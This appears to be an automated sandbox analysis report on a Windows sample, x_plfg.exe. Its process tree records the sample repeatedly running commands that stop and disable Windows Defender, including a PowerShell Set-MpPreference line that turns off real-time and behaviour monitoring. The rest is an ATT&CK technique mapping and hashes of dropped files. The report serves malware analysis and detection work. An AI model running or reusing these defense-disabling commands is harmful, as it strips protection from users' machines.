        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        53⤵
        
        PID:28440
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        50⤵
        
        PID:23988
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        51⤵
        
        PID:27728
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        50⤵
        
        PID:40104
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        48⤵
        
        PID:3280
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        49⤵
        
        PID:27476
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        48⤵
        
        PID:42588
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        46⤵
        
        PID:22560
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        47⤵
        
        PID:26176
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        44⤵
        
        PID:22352
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        45⤵
        
        PID:28284
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        44⤵
        
        PID:40460
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        42⤵
        
        PID:21476
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        43⤵
        
        PID:27312
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        40⤵
        
        PID:20804
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        41⤵
        
        PID:26784
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        40⤵
        
        PID:38972
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        41⤵
        
        PID:43556
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        38⤵
        
        PID:18008
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        39⤵
        
        PID:23604
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        40⤵
        
        PID:43600
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        38⤵
        
        PID:4232
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        39⤵
        
        PID:43544
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        36⤵
        
        PID:20156
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        37⤵
        
        PID:23120
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        38⤵
        
        PID:35968
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        39⤵
        
        PID:43352
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        34⤵
        
        PID:19976
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        35⤵
        
        PID:23620
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        36⤵
        
        PID:43376
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        32⤵
        
        PID:19652
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        33⤵
        
        PID:25264
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        32⤵
        
        PID:39624
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        33⤵
        
        PID:41304
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        30⤵
        
        PID:19068
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        31⤵
        
        PID:19988
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        32⤵
        
        PID:33824
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        33⤵
        
        PID:37824
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        30⤵
        
        PID:38808
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        31⤵
        
        PID:42508
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        28⤵
        
        PID:18956
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        29⤵
        
        PID:22480
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        30⤵
        
        PID:35628
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        31⤵
        
        PID:40388
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        28⤵
        
        PID:38816
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        29⤵
        
        PID:41264
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        26⤵
        
        PID:17996
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        27⤵
        
        PID:21840
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        28⤵
        
        PID:4168
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        29⤵
        
        PID:39804
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        26⤵
        
        PID:38252
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        24⤵
        
        PID:18224
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        25⤵
        
        PID:21100
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        26⤵
        
        PID:30800
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        27⤵
        
        PID:33120
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        24⤵
        
        PID:39540
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        22⤵
        
        PID:17772
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        23⤵
        
        PID:20868
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        24⤵
        
        PID:30784
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        25⤵
        
        PID:3788
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        22⤵
        
        PID:38752
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        23⤵
        
        PID:7920
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        20⤵
        
        PID:17552
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        21⤵
        
        PID:20172
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        22⤵
        
        PID:29640
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        23⤵
        
        PID:32520
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        20⤵
        
        PID:38120
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        21⤵
        
        PID:41344
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        18⤵
        
        PID:16100
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        19⤵
        
        PID:20324
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        20⤵
        
        PID:28956
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        21⤵
        
        PID:32672
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        18⤵
        
        PID:35020
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        19⤵
        
        PID:40444
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        16⤵
        
        PID:17288
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        17⤵
        
        PID:22452
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        18⤵
        
        PID:25976
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        19⤵
        
        PID:40296
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        16⤵
        
        PID:30916
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        17⤵
        
        PID:39608
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        14⤵
        
        PID:16968
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        15⤵
        
        PID:17840
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        16⤵
        
        PID:28528
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        17⤵
        
        PID:32836
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        14⤵
        
        PID:34244
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        15⤵
        
        PID:6468
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        12⤵
        
        PID:16696
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        13⤵
        
        PID:19460
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        14⤵
        
        PID:26260
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        15⤵
        
        PID:31732
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        12⤵
        
        PID:33684
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        13⤵
        
        PID:39944
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        10⤵
        
        PID:16560
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        11⤵
        
        PID:19208
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        12⤵
        
        PID:23000
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        13⤵
        
        PID:26476
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        12⤵
        
        PID:40088
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        10⤵
        
        PID:33740
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        11⤵
        
        PID:27524
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        8⤵
        
        PID:16316
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        9⤵
        
        PID:19224
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        10⤵
        
        PID:21720
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        11⤵
        
        PID:25572
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        8⤵
        
        PID:33708
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        9⤵
        
        PID:35812
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        6⤵
        
        PID:16376
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        7⤵
        
        PID:18560
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        8⤵
        
        PID:21336
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        9⤵
        
        PID:24800
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        10⤵
        
        PID:43440
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        8⤵
        
        PID:40200
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        6⤵
        
        PID:31912
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        7⤵
        
        PID:34388
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
      4⤵
      PID:16124
    - - C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        5⤵
        
        PID:18512
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        6⤵
        
        PID:21276
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        7⤵
        
        PID:24900
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        6⤵
        
        PID:40192
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
      4⤵
      PID:31796
    - - C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        5⤵
        
        PID:7264
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
  2⤵
  PID:15948
- - C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
    C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
    3⤵
    PID:17968
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
      4⤵
      PID:20912
    - - C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        5⤵
        
        PID:26912
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
      4⤵
      PID:40080
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
  2⤵
  PID:31868
- - C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
    C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
    3⤵
    PID:6316

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:27352

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Active Setup

T1547.014

Port Monitors

T1547.010

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Boot or Logon Initialization Scripts

T1037

Logon Script (Windows)

T1037.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

AppInit DLLs

T1546.010

Image File Execution Options Injection

T1546.012

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Active Setup

T1547.014

Port Monitors

T1547.010

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Boot or Logon Initialization Scripts

T1037

Logon Script (Windows)

T1037.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

AppInit DLLs

T1546.010

Image File Execution Options Injection

T1546.012

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 ca5d57edbd599d2f326c973f9ea78899a33bc93603d04f5c5fc3060bb6069335
MD5 b40813b6d7a845a0e75e73df45573d20
SHA1 065e9256016c1ff5d12e5f09a43522ff134705ed
SHA512 04620591f96093c5be9d4fb65f9b83ca4d994ab596d5bba483af6363751c3afe0d9d550d0a079f304e51196ff781189761c77ec1ccc9ade982cc5d24efdfac3e
TLSH
T197D080713F567511D54514F4B414926153378C5335C2D50A7135C01EAD604D0E3C55E7
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 25e3094666b1652de0c19f09d2c5a36315ff1f2b6bf4618230987e4527d887d6
MD5 6c5c69ea7db1f14597429c11acb086da
SHA1 20d287e42d0eef2300c162f279f6c1a5bef2e00b
SHA512 4670a8f1b1ff14ef0094b5f0e97add9f3a5efcd9cbac0df76bfa0fcb59e20e8d2587834ddc7e3c72278d6925836d06584fd79fb3286a9e087f9322e2b6f4b220
TLSH
T11BD080753F467511D54514F0B414926153378C5339C2D50A7135C01EAD604D0E3C55F7
MD5 SHA1 SHA512 TLSH

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 3KB
SHA256 5dc8b4d4350c82b9cd5b4e1f1e15840c98d2a6c88e7b916ce9e1c8a28e2adc10
MD5 345d01771475cdd902789bdeacdb742c
SHA1 f40c0a3518454e8f9cd5bd17f791a4cd32f6e2f0
SHA512 8622da6eebe61772438cb1c650defce7f5d0e348572629896e0e544c9222f980cc6c4083859cc2dcaabff690ccb6492b4d62314a383e82e42cdd73859b56400d
TLSH
T132710C5061AB0919FBD74574B6F690A9B3BCF77ACF0FDE2246B0A0749BD67840042883
MD5 SHA1 SHA512 TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

Edge Profile.ico

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

000003.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\IndexedDB\https_www.youtube.com_0.indexeddb.leveldb\000003.log
Size 259KB
SHA256 2c19ba81dfa0f26ff0d455f1111baa34b5111dc149ff883a1d0bb053954d2959
MD5 6d7001b2c39d096726fe7f8185e89637
SHA1 2f62f05456eaf4067f94bb512091e9815b071c8a
SHA512 f21fd904a712b3a9b261ceba62a6e57191c5d4b5a3dbd8151ccfdee0fb0dd0b145f9cb3b3b89e68b3457980210afddbfb31475feee3f230ceaa52aa181bd3333
SSDEEP 3072:7P1ezPXxXPhrJDywS8YBlkx5Hwy9TgMQGYgwNt:Z
TLSH
T10744E72831D173D1A02A833B1A615817D3B58BCCD99D749BAC92BF0C16F7B443A94F6E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CURRENT

